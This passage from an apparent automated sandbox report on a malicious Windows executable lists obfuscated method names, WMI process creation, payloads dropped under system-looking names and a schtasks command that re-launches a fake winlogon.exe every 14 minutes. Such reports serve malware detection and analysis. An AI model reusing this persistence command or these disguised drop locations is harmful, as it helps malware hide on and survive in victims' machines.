Source: 0.3.5P9EdUgv5r.exe.6bda5a6.0.raw.unpack, Wtxqo1e8u8PDwjPWS8B.cs	High entropy of concatenated method names: 'roeyjj8jTV', 'JTmyvIHqvt', 'LqvyP0b7OX', 'oyEMYqZl0fy3Tr14aCd', 'EX6W5JZD6isp1HcpPNK', 'Nr95UNZSgPk7LaUIcSg', 'DZDP9HZZ5e8RUsBwWyN', 'DgNGdVZK4c3T3jbCIIy', 'WwUhX3ZrpqxRy0OUAAU', 'XfBt8fZRnD6hQsGKY6J'
Source: 0.3.5P9EdUgv5r.exe.6bda5a6.0.raw.unpack, HxNQrY0UF1q6MtWVK9u.cs	High entropy of concatenated method names: 'mjrXCmh7lu', 'IaqXq9lD96', 'bNyXT8VeNg', 'ahWW3t1s8MP4UoAs9P7', 'cIRdsQ1q9yGoV0SnYeU', 'kbLW1i1jln6T0gKcLrs', 'elwAMo1LG6ULEqiqXOC', 'qM1RGD1TLh2AIqGtJ8y', 'u7j1Oy1wiNPOnXhmgAV', 'B6re3o1t7KsfNlIYVMW'
Source: 0.3.5P9EdUgv5r.exe.6bda5a6.0.raw.unpack, lptrfV0typiA9scxbhF.cs	High entropy of concatenated method names: 'sg9', 'JbGaj62lGB', 'DgH3maaSK1', 'XHUa7fOVT5', 'pPUUy9FjlleAguKEMls', 'u2m8PTFLB3mIC1K01dt', 'mganrKFTwe3xj82oHq7', 'GuJ9p6FsfkRTRLfQPcs', 'o2u6PvFqZEfOnq2IkAq', 'ipMmlrFwwmiMVKNYKFL'
Source: 0.3.5P9EdUgv5r.exe.6bda5a6.0.raw.unpack, RiBMyj0Ypa1aKVey8Er.cs	High entropy of concatenated method names: 'PCE3KsGO72', 'HdD3UNmiUZ', 'Swb39FELmO', 'J9DJhmdJGfVUPrNVXYL', 'LkdQPedpL6kZxVjxTGJ', 'HUMb8cdC5K2PupmKLo3', 'F7dDNFdA3gl5327nuWL', 'UfT3AAlGtb', 'pQ83iInDWw', 'O9X3Xlc6QX'
Source: 0.3.5P9EdUgv5r.exe.6bda5a6.0.raw.unpack, oU5O3eeiCnWXxZcSqB8.cs	High entropy of concatenated method names: '_6H9', 'YZ8', '_66N', 'G9C', 'Q2GglSVXlC9HQq8SgvI', 'iqtHYXV7Oo64f0rmTrE', 'Fs2GkcVULVbENMTwb0t', 'PHvNc3Vmvcm7oTKukDg', 'nmKjCNVuQR0a6C626j4', 'e6TYFpVz12F166cYw2P'
Source: 0.3.5P9EdUgv5r.exe.6bda5a6.0.raw.unpack, NytbnDeIWYJTj6wM4M6.cs	High entropy of concatenated method names: '_589', 'YZ8', '_491', 'G9C', 'pR6S11lL02YGdZiPRgF', 'jxJcDRlTHJPnofeKwu8', 'jjeA9ilwh2K9icROm7A', 'dfdgb0ltuFfIwUhebEX', 'GBHfv2lIA1yoLHPYnVn', 'AT8d1plXwBxEHECwATL'
Source: 0.3.5P9EdUgv5r.exe.6bda5a6.0.raw.unpack, E1nwjyy93vvk1gS5KlU.cs	High entropy of concatenated method names: 'rLo0mVGUVf', 'vFP08kAEn6', 'qrHmVBRvQ8dqJj2RSFq', 'FaMqQcR0WJHib7cSiuc', 'dRJH71R1gxloOeJ8w22', 'Ac7lQCRd9pO5A7m9skI', 'JOKI6iRFGnTYhntK5m2', 'VJNm6jRhgqfwx8daUpq', 'u1KpH1RG3uyBFsycKnK', 'vVxY1uR3alTBF04RoCq'
Source: 0.3.5P9EdUgv5r.exe.6bda5a6.0.raw.unpack, n6IofTyFkatovAQ0p10.cs	High entropy of concatenated method names: 'plR0zcHytb', 'ODW6gYJTj6', 'zM46eM6FOI', 'JYM6yjWMTd', 'xu660GQfot', 'bC966eoYoe', 'TeZ6EeUVnc', 'Eeq6Axo1k0', 'TOj6itCcZJ', 'uAA6Xl2WFR'
Source: 0.3.5P9EdUgv5r.exe.6bda5a6.0.raw.unpack, vlGOIWe20qq3naWWrml.cs	High entropy of concatenated method names: 'GvP', 'YZ8', 'bp6', 'G9C', 'or6oXJDEE3sHGrY0fLd', 'hIMeepD5Bgoa6MvoBy1', 'Yyu0syDYHbPxTdQ2LYy', 'uJLIOfD9bKlX05K7BjJ', 'jAk9sEDegRIkoaP3pTv', 'o66ENODpAAQOL7hTxyh'
Source: 0.3.5P9EdUgv5r.exe.6bda5a6.0.raw.unpack, hfxAKJilnQlIrFZCr9S.cs	High entropy of concatenated method names: 'aFQOPL1YSR', 't9YOlM11Da', 'A2cOb6wP36', 'dNJOwVnP0H', 'KkBOMpHZth', 'pETO2v9HLK', 'tqrOWN9CW7', 'pfvOhxxGIC', 'dnHOOVHQqF', 'VEgOkx9WMa'
Source: 0.3.5P9EdUgv5r.exe.6bda5a6.0.raw.unpack, CZxwPR0CUvkLQCAeI43.cs	High entropy of concatenated method names: '_9YY', '_57I', 'w51', 'IW2aRFXmdy', '_168', 'xaAwclh3v3kPSTslbb0', 'KhQLKShBKZRUbMfuvkM', 'pGBlaFhaAx9aLfJLwC7', 'veqlRdhypUS6vQsjNdJ', 'LJq7ZVhc7w7mdlTDKTf'
Source: 0.3.5P9EdUgv5r.exe.6bda5a6.0.raw.unpack, qeQQ4Z0asSXygCfgZbr.cs	High entropy of concatenated method names: '_223', 'Q7ZVQN14qKxeo9cTVvH', 'HRxnSJ1QeNBDlQA9AWq', 'YwT0Da1vtQAOLpRKEwW', 'w3Kjw410VLtxs7hEKns', 'C68caS11rn3sWekiwhS', 'LXXOxL1drd1h5QNbgN2', 'TUL1q11FOi8KVtaUBtJ', 'a1xQ4F1hUJl3E8CqAG8', 'MvOcs31GXroqUvyL7KR'
Source: 0.3.5P9EdUgv5r.exe.6bda5a6.0.raw.unpack, r57iwA0IsF95Be2IVZP.cs	High entropy of concatenated method names: '_269', '_5E7', 'Dhtag5WyJ8', 'Mz8', 'EVqaArqQGi', 'S64fR3hwO4ituV6fnqw', 'Gw3BJqhtty0usrpZTq7', 'ysStLThIbDN6G2KjieH', 'MDCMm5hXIrUsRsWOnT6', 'YhhIVdh7grYAlnvST3S'
Source: 0.3.5P9EdUgv5r.exe.6bda5a6.0.raw.unpack, NljHUhE34rSaZiPpGKc.cs	High entropy of concatenated method names: 'yQhPoC0m4R', 'XfsPDmalQX', 'Q1mZJrEIiRx0RojVeq9', 'QLGs2UEXD6b4Urx4Npa', 'wqFltvE7Kig6LaUV538', 'xiK4KCEUjX2CV6dr0Or', 'h2rkHEEmR7mGaTeFITF', 'tFDJbAEuQmE9jeYaW7j', 'Kr26NHEzuGTHIicwriV', 'aZMbUX5OrMuPVs2IqPS'
Source: 0.3.5P9EdUgv5r.exe.6bda5a6.0.raw.unpack, tmbvj106GpcYBVblL44.cs	High entropy of concatenated method names: 'Tnditp3uZD', 'AI0iH6Fkfu', 'qmFinrDQsM', 'RwSippumxU', 'Druif1JX1R', 'yspiV46YmQ', 'Jl02kivcW1dZlVpksfo', 'h3c4BTvaAfNMs0hEFdm', 'lpkloGvyQGVy4wGQ1X3', 'eEyKC7v64lN2L6kUS4n'
Source: 0.3.5P9EdUgv5r.exe.6bda5a6.0.raw.unpack, oFQZbIO3CRvUHyfAj5.cs	High entropy of concatenated method names: '_52Y', 'YZ8', 'Eg4', 'G9C', 'YErZLGdWL', 'Ve7QN82vYgt1rCmslVD', 'QMxjuF203K4yCqFREqX', 'xdaGJE21ZMw4VyTlHCN', 'J5UO0T2d105kan0mCkr', 'tKK2od2FmyfESft7KMi'
Source: 0.3.5P9EdUgv5r.exe.6bda5a6.0.raw.unpack, GRJtYFeeyVyCjZaOrIi.cs	High entropy of concatenated method names: 'tO4', 'YZ8', '_4kf', 'G9C', 'AhipPvVvKu063F22vUZ', 'vvffvvV0Oj8X2wYmknC', 'l7FO93V17W6yaoPBb0v', 'w15C4YVdvlAjTI9d3lq', 'GyGIysVFdJraVHbjI72', 't6RU7tVhsE8VjR3xAAr'
Source: 0.3.5P9EdUgv5r.exe.6bda5a6.0.raw.unpack, SGOPYK0fmWlyYRE1101.cs	High entropy of concatenated method names: 'oYo', '_1Z5', 'oy5apjJ5og', 'cfoG60KNrw', 'b3BaTLDxmA', 'Vy8DyEhrAY0CLv5XEU8', 'VtNDo5hRtdyTnVeB89S', 'P4atSdhodyJuNQNX2r7', 'mfWTvvhMNupZDGjCZpA', 'BiqnxkhfHMnvM8kIbLx'
Source: 0.3.5P9EdUgv5r.exe.6bda5a6.0.raw.unpack, H2LdDN6DmiUZqwbFELm.cs	High entropy of concatenated method names: 'w8eadssH0j', 'tMuauXdvyY', 'zpEa7ogK6m', 'VJoaLhqC9C', 'TIeaxB381m', 'mbA3yyB8X1aNeImJxeF', 'uAr1hSBEroWxPK4a9Jv', 'PXT8VLBkFsVKsanIjNT', 'BcxbQMBWXWJCmJjnJUu', 'vq7vi6B5iyGh3QIbyil'
Source: 0.3.5P9EdUgv5r.exe.6bda5a6.0.raw.unpack, rEmbHIe07RAAnnyy0jl.cs	High entropy of concatenated method names: 'R1x', 'YZ8', '_8U7', 'G9C', 'MMEH1RV6nWVOEqBLPS8', 'KnoB6EVi75JXoPxayvS', 'wOYmjiVP61pWT9qJuUF', 'h8SQoCVkjhZw1wtkboi', 'GTMXvVVWcj7qIByLFtJ', 'IWyi4FV8ICsadNPrY6t'
Source: 0.3.5P9EdUgv5r.exe.6bda5a6.0.raw.unpack, dYsmNlj8ExMOiVVCQt.cs	High entropy of concatenated method names: 'B6VPp0n0p', 'msWlkknHR', 'wsMbgRAwi', 'b3gwJpmai', 'kMwMoLNY9', 'YkQ2Qgmun', 'OlAWfdaSd', 'jq4am6Hg7HWnQhXR0vr', 'Hn6m2iHDg9QW7RAp2aD', 'CsQoDPHSUtLWy4a0WjY'
Source: 0.3.5P9EdUgv5r.exe.6bda5a6.0.raw.unpack, f8GoMo0rGT4SKXTWSh5.cs	High entropy of concatenated method names: 'c4pAbNG5y1gMmODtItm', 'jyY24EGYqU4ZLsVmD8n', 'XjevxvG89amqMYnAhWV', 'rJVPAmGEj3ONdN3TQbe', 'IWF', 'j72', 'RAIG9bt8nK', 'bFUGN4ds6L', 'j4z', 'xXsGFV7R20'
Source: 0.3.5P9EdUgv5r.exe.6bda5a6.0.raw.unpack, lX9pDu7M1hj0vYAZJN.cs	High entropy of concatenated method names: '_3OK', 'YZ8', '_321', 'G9C', 'FnqTfZ2mfvc9qAV5c1d', 'pUqBR32upEAYPQ8Q6Fk', 'gqgC1g2zHWBOG1suqYk', 'maqoxjxOGPD9JdmBZVA', 'ggWcVMxH0Mu9Rx40tAk', 'bV34j1x2gVaRbgRtsKM'
Source: 0.3.5P9EdUgv5r.exe.6bda5a6.0.raw.unpack, VTA2dBEwqpx1Im1cZWu.cs	High entropy of concatenated method names: 'M01P5tv2CE', 'sQZPZrhi48', 'LnJP4JwZ8f', 'EN0PtphfEq', 'fw4PHcKQFf', 'lfR80Y5y9uM61GynKRf', 'lOh2wB5BUG1bhQ8JAh4', 'hZiyHW5aQo2XxHOfLyO', 'ze595b5csn1x77oEssd', 'Q5gZ9N56ZZ50essrsms'
Source: 0.3.5P9EdUgv5r.exe.6bda5a6.0.raw.unpack, RMQDAIA2iyIGcdEx9Di.cs	High entropy of concatenated method names: 'iGLw3BR0cO', 'A1IwG96o6c', 'v51wRvk3Vr', '_3Gf', '_4XH', '_3mv', '_684', '_555', 'Z9E', 'XsCwsFtbOr'
Source: 0.3.5P9EdUgv5r.exe.6bda5a6.0.raw.unpack, steC9eeroYoeceZeUVn.cs	High entropy of concatenated method names: 'RJXyYkUU5O', 'QSlVCcZVbPNep3vbSId', 'uIsFUPZN52ROjIvl553', 'tq2EfLZn8Me8eFeuXyk', 'O6duNDZbHnkJLNUgEdf', 'ivN25jZgT2MSFC7dvPe', '_5q7', 'YZ8', '_6kf', 'G9C'
Source: 0.3.5P9EdUgv5r.exe.6bda5a6.0.raw.unpack, mrXjmJ6FYcUctx50l3k.cs	High entropy of concatenated method names: '_7zt', 'a6laYXAsVB', 'olKaoDbB5C', 'dt1aDxHDW3', 'oXBaQoE4D5', 'OcbajPjOh5', 'D3XavsRH2c', 'Mf8t8qBFm9Eq89eI327', 'NNfNvSBhD1OxuNOedlr', 'lrCR6LB1lNEEpabYoJV'
Source: 0.3.5P9EdUgv5r.exe.6bda5a6.0.raw.unpack, PTAlGt69bNQ8InDWwf9.cs	High entropy of concatenated method names: 'sZ1a6EFHYg', 'FsgaE17SdB', 'zimaAoYXmA', 'GEPfCSBfOxtfbuBfbJF', 'b49WbbB4jViseV0Z7KV', 'VTxpGjBoEwIYU8B8UvY', 'UkBL8FBMGstulj6Osby', 'n8Hny7BQo68PSUkP42T', 'E1tEE7BvQWgurIY0VQB', 'RiwWh7B0nshS7T6EAKW'
Source: 0.3.5P9EdUgv5r.exe.6bda5a6.0.raw.unpack, QJW2jSyZhvc7pEkiHdp.cs	High entropy of concatenated method names: 'xYSAXTaeha', 'l00A3tOonn', 'KAf5ny4XEO4pcjQgHma', 'r5L02S47HIoU62qYqLT', 'C3SUYD4trscj0afPwvn', 'iwWvpH4IesmUospT3Dk', 'nAqA9uMGpD', 'p1NrD7QODSnHCu8KprX', 'Xa94TYQH6PFlRnOvYP7', 'uHfbcu4ummUP6WlENSR'
Source: 0.3.5P9EdUgv5r.exe.6bda5a6.0.raw.unpack, Ky65tBEJqfYe2SD64yu.cs	High entropy of concatenated method names: 'NJUl6U6mhN', 'IwxlEZaijo', 'HiNlAOLLki', 'fLiliseEoG', 'aLQlXCWLD8', 'IFnl3KV4lZ', 'xy5lG1ARtP', 'XumlR5OmZ0', 'pQ1lsZUpFo', 'BxIlajYJVc'
Source: 0.3.5P9EdUgv5r.exe.6bda5a6.0.raw.unpack, ySY8PQMLO98W8injIB.cs	High entropy of concatenated method names: 'T43', 'YZ8', '_56i', 'G9C', 'oaXdLp2lEgc8GaQfrAc', 'BS48u92ZR2GpAHmnqQs', 'ogYVtu2KD1sCqWujZpE', 'rD5kGF2rHTGoCxcQNZT', 'gIV4gi2RvK6q5A2dNfW', 'Hunq922oGkY9D5OAv4L'
Source: 0.3.5P9EdUgv5r.exe.6bda5a6.0.raw.unpack, Hnglq4Z4f7vvXRtYro.cs	High entropy of concatenated method names: '_23T', 'YZ8', 'ELp', 'G9C', 'px58m7x7pLtr3rVlykO', 'fQwCVZxUMLCIDmOdXvY', 'TNSBuExmt0wlyOHEPwx', 'fJHJvXxuoeBc3ckYehp', 'WgMXI9xz9e35ss74hVr', 'flfjb5nOBkWObSENg7P'
Source: 0.3.5P9EdUgv5r.exe.6bda5a6.0.raw.unpack, ulIuwAEcJv1dBQ3nKmW.cs	High entropy of concatenated method names: '_14Y', 'b41', 'D7Y', 'xMq', 'i39', '_77u', '_4PG', '_5u8', 'h12', '_2KT'
Source: 0.3.5P9EdUgv5r.exe.6bda5a6.0.raw.unpack, rqnYLEiwDI3fwWnpGb.cs	High entropy of concatenated method names: 'NYLSEwDI3', 'hwKK1FkCWW9On6rRZZ', 'A9hJN6iXpcGxr9d7ZM', 'Sntq9gP6OTEQ15WTWY', 'UU6DkOWWArEeqaI2kk', 'L13yDO8UKft3a7PkDV', 'jgMylIC5R', 'SQJ0m8QLN', 'rFW6s8lLj', 'XAJEFKkF5'
Source: 0.3.5P9EdUgv5r.exe.6bda5a6.0.raw.unpack, SFAZZmeBFFtetSdvveD.cs	High entropy of concatenated method names: 'rU3', 'YZ8', 'M54', 'G9C', 'znlsQcN9FsH8wC3G4Vy', 'paYFRjNeDaoofc2dDjk', 'rIUW1jNpaW62VDbXGLh', 'a7Oa1QNClQYWmhE2oPf', 'ugRC7XNJNUgbVu4k7gH', 'WpW92xNATxnADMEsgZB'
Source: 0.3.5P9EdUgv5r.exe.6bda5a6.0.raw.unpack, aJMlxKAqIi1FWf8OsKw.cs	High entropy of concatenated method names: 'Sm2WjOUGwc', '_1kO', '_9v4', '_294', 'kRmWvQ02WO', 'euj', 'msHWPCxuGH', 'zLjWlQcX2Q', 'o87', 'RcbWbInxjy'
Source: 0.3.5P9EdUgv5r.exe.6bda5a6.0.raw.unpack, olvTihy2Cmx8PY3jcud.cs	High entropy of concatenated method names: 'sLH6mqlUtv', 'dX868Dg6Jw', 'dRT6z9AuKH', 'LJaEgBLXLN', 'FMxEeOVqg6', 'wVTEyX7ISm', 'EQKE0uxc5k', 'G30E6EnDda', 'FFsEEFthKY', 'O5HTNBMXD0hjrUbVp6Y'
Source: 0.3.5P9EdUgv5r.exe.6bda5a6.0.raw.unpack, TV5TmIe3Hqvt4qv0b7O.cs	High entropy of concatenated method names: '_3fO', 'YZ8', '_48A', 'G9C', 'sVBEHwNNMssAf7G8ihH', 'V8wxggNgRMelvFWGwPq', 'hXxIboNDn4iCqLXVLAB', 'ft1Z18NSGp82Sbjy3Ks', 'NDTr8lNlky80QUf7drY', 'qbFS9SNZuYU6ymue1On'
Source: 0.3.5P9EdUgv5r.exe.6bda5a6.0.raw.unpack, S2cyv6iRAHria5jC7vE.cs	High entropy of concatenated method names: 'nPxg8dFFgWdhG', 'hZldWKsoVPMDWlyS7yT', 'UpR9nVsMLkKQHSFU6eF', 'tSUSspsfWNY7FVDPK1S', 'Xu3XDys4E8cIYokMlE3', 'H0ESvBsQbROGVx9I42M', 'AaGPkWsrXimIrWWSfkc', 'YMkPdWsRS6ONBS7rosB', 'xSUrQrsvR0tGZZ6u8vW', 'f7efC0s0701TEslsw4o'
Source: 0.3.5P9EdUgv5r.exe.6bda5a6.0.raw.unpack, vyYwpEAvogK6mJJohqC.cs	High entropy of concatenated method names: 'IGD', 'CV5', 'v5IbPonVVY', '_3k4', 'elq', 'hlH', 'yc1', 'Y17', '_2QC', 'En1'
Source: 0.3.5P9EdUgv5r.exe.6bda5a6.0.raw.unpack, h3ttlAE1prhLd1Vi5C0.cs	High entropy of concatenated method names: 'q4Y', '_71O', '_6H6', 'rVUlvCDkhV', '_13H', 'I64', '_67a', '_71t', 'fEj', '_9OJ'
Source: 0.3.5P9EdUgv5r.exe.6bda5a6.0.raw.unpack, KcHRCg0Taeo5cK48nmF.cs	High entropy of concatenated method names: '_3VT', 'O5t', '_1W5', 'fwnGRj0KF6', 'OqgaNMbb7N', 'r0oGs9fRya', 'flCam6agKQ', 'anA3pihYvqJOPuypxEf', 'utw43Sh9lWA6YS6AmTJ', 'yrKP6hhETTJb5wTy9ET'
Source: 0.3.5P9EdUgv5r.exe.6bda5a6.0.raw.unpack, xAEJmkyuNbNpTsoB8bj.cs	High entropy of concatenated method names: 'OPAEWEJmkN', 'v6F2GpfmtxZHnHiVnI1', 'axeVjlfuTbvAyUcBPKK', 'hirFPLf7cgamKjXvOXD', 'EHAI2jfUGuf2vT2TysE', 'BAi5ZVfz38QkA2yXg4A', 'burOv14O1Hoj0d14t9C', 'apYrQN4Hg64idqdeHQA', 'UJIbab42jDMd4xwgxQw', 'CgKKrI4xR4C2gO1HrZl'
Source: 0.3.5P9EdUgv5r.exe.6bda5a6.0.raw.unpack, T6KrWZeYLExIGM2xDjC.cs	High entropy of concatenated method names: 'LWoeWo40ub', 'gs9SNXg4O3DKFeeCgSM', 'Nlrmf0gQEo8MFi96gYK', 'BOK54EgMfHTAUlYgT3r', 'qDZTDAgfxu03NLlg1IP', 'ApDXAmgv3bRnAX0oOCm', 'KrQdyNg0gSTKWxivEpK', 'p6m4UJg13O5j0OBMToW', 'pvoBnFgdEiAUyr9G4Ea', 'f28'
Source: 0.3.5P9EdUgv5r.exe.6bda5a6.0.raw.unpack, J4m9cdAyduM4lXJjpGQ.cs	High entropy of concatenated method names: 'pFJbX8oEwD', 'IBrb3WNY84', '_8r1', 'v3abGuI0xn', 'dQpbR9glwO', 'zfYbsby9Ax', 'vWQbaSdrmO', 'caU35PeM65ovfxFe30c', 'MNWwjtefvU7jDhv1BEi', 'WLBgQie4cDBFxLwM7Cd'
Source: 0.3.5P9EdUgv5r.exe.6bda5a6.0.raw.unpack, zAYVLbewkKbSB8fa4Cv.cs	High entropy of concatenated method names: 'Ai7', 'YZ8', '_56U', 'G9C', 'Wbqw67guF3x3fUxotCB', 'AI89GGgzVTwjipxZgjR', 'ky6arcDOrDC0lFSnela', 'HXerahDHm6c33U8QWQE', 'si68uLD24TUojkPFEiW', 'quxdvCDxuhKbFoe3THf'

Persistence and Installation Behavior

Creates processes via WMI

Source: C:\serversessionmonitor\blockfont.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\serversessionmonitor\blockfont.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\serversessionmonitor\blockfont.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\serversessionmonitor\blockfont.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\serversessionmonitor\blockfont.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\serversessionmonitor\blockfont.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\serversessionmonitor\blockfont.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\serversessionmonitor\blockfont.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\serversessionmonitor\blockfont.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\serversessionmonitor\blockfont.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\serversessionmonitor\blockfont.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\serversessionmonitor\blockfont.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\serversessionmonitor\blockfont.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\serversessionmonitor\blockfont.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\serversessionmonitor\blockfont.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\serversessionmonitor\blockfont.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\serversessionmonitor\blockfont.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\serversessionmonitor\blockfont.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\serversessionmonitor\blockfont.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\serversessionmonitor\blockfont.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\serversessionmonitor\blockfont.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\serversessionmonitor\blockfont.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\serversessionmonitor\blockfont.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\serversessionmonitor\blockfont.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create

Drops executables to the windows directory (C:\Windows) and starts them

Source: unknown

Executable created and started: C:\Windows\RemotePackages\RemoteApps\qwhJcOiWbbUoQMvwnJNr.exe

Source: C:\serversessionmonitor\blockfont.exe	File created: C:\Program Files (x86)\Windows Portable Devices\winlogon.exe	Jump to dropped file
Source: C:\serversessionmonitor\blockfont.exe	File created: C:\Program Files (x86)\Microsoft OneDrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe	Jump to dropped file
Source: C:\serversessionmonitor\blockfont.exe	File created: C:\Program Files (x86)\Windows Mail\qwhJcOiWbbUoQMvwnJNr.exe	Jump to dropped file
Source: C:\serversessionmonitor\blockfont.exe	File created: C:\Program Files (x86)\Windows Media Player\en-US\backgroundTaskHost.exe	Jump to dropped file
Source: C:\serversessionmonitor\blockfont.exe	File created: C:\Windows\RemotePackages\RemoteApps\qwhJcOiWbbUoQMvwnJNr.exe	Jump to dropped file
Source: C:\serversessionmonitor\blockfont.exe	File created: C:\Program Files (x86)\Microsoft Office\Office16\qwhJcOiWbbUoQMvwnJNr.exe	Jump to dropped file
Source: C:\serversessionmonitor\blockfont.exe	File created: C:\Recovery\SearchApp.exe	Jump to dropped file
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe	File created: C:\serversessionmonitor\blockfont.exe	Jump to dropped file
Source: C:\serversessionmonitor\blockfont.exe	File created: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe	Jump to dropped file

Source: C:\serversessionmonitor\blockfont.exe

File created: C:\Windows\RemotePackages\RemoteApps\qwhJcOiWbbUoQMvwnJNr.exe

Jump to dropped file

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\serversessionmonitor\blockfont.exe

Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "winlogonw" /sc MINUTE /mo 14 /tr "'C:\Program Files (x86)\windows portable devices\winlogon.exe'" /f

Source: C:\Users\user\Desktop\5P9EdUgv5r.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
